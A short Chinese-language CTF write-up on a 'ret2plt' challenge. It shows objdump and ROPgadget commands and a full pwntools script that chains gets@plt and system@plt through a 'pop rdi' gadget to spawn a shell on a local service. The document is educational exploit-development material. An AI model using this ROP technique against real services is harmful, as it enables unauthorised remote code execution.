攻擊思路
反組譯 main 函數,發現目標先呼叫了 system@plt 函數,再呼叫 gets@plt 函數,緩衝區溢位在 gets@plt 函數。
objdump -d ./ret2plt

有三種 plt 函數,ROP 鏈可以設計成先用 gets@plt 函數讀取 "sh" ,再呼叫 system@plt 函數。
objdump -d ./ret2plt | grep "@plt>:"

gets 和 system 都只傳一個參數,所以只需要 pop rdi 的 ROP gadget 。
ROPgadget --binary ./ret2plt | grep ": pop.\{7\}ret$"

利用 vmmap 找 bss section 在 0x00601000 與 0x00602000 之間。

攻擊程式碼
from pwn import *
context.arch = 'amd64'
gets_plt = 0x400530
system_plt = 0x400520
pop_rdi = 0x400733
bss = 0x00601030
p = flat(
'a' * 0x38,
pop_rdi,
bss,
gets_plt,
pop_rdi,
bss,
system_plt
)
conn = remote("127.0.0.1", 10174)
conn.sendlineafter(":D", p)
conn.sendline("sh")
conn.interactive()
成功拿到 shell 。
